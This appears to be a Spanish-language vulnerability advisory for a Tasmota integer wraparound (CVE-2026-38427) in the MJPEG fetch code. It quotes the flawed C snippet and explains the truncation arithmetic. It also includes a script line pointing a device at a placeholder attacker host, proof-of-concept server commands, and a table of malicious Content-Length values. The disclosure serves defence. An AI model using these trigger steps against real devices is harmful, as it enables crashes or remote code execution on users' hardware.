
CVE-2026-38427 — Envoltura de entero → Desbordamiento de búfer en el montón en Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
Gravedad: Crítico (CVSS 9.8)
Producto: Arendst Tasmota
Versión afectada: <= 15.3.0.3
Archivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Función: fetch_jpg() — caso 2 (obtención de tramas MJPEG)
Autor: Saidakbarxon Maxsudxonov
Divulgación: Responsable — notificado a Tasmota antes de la publicación
Existe una vulnerabilidad de envoltura de enteros uint16_t en la función fetch_jpg() del controlador de scripts de Tasmota. Cuando un dispositivo Tasmota obtiene tramas MJPEG de un servidor controlado por el atacante, el valor de la cabecera Content-Length se lee en una variable uint16_t mediante atoi(). Los valores mayores que 65535 se envuelven silenciosamente (p. ej., 65537 → 1), lo que provoca que se asigne un búfer de montón drásticamente más pequeño de lo necesario. El dispositivo solo lee el número envuelto de bytes del flujo, dejando el resto en el búfer del flujo, lo que causa corrupción del estado del montón/flujo que conduce a un bloqueo (DoS) o posible ejecución remota de código.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
Un atacante que pueda hacer que un dispositivo Tasmota se conecte a su servidor HTTP (mediante un script malicioso de Tasmota o un MITM) puede enviar tramas MJPEG con valores de Content-Length superiores a 65535. El dispositivo:
Disparo mediante script de Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
La PoC ejecuta un servidor HTTP MJPEG falso que envía tramas con valores de Content-Length maliciosos:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
Consulta CVE-2026-38427_poc.py para ver la implementación completa.
| Content-Length (cabecera) | valor uint16_t | Búfer asignado | Bytes no leídos |
|---|
| 65536 | 0 | 0 (omitido) | 65536 |
| 65537 | 1 | 1 byte | 65536 |
| 70000 | 4464 | 4464 bytes | 65536 |
| 131072 | 0 | 0 (omitido) | 131072 |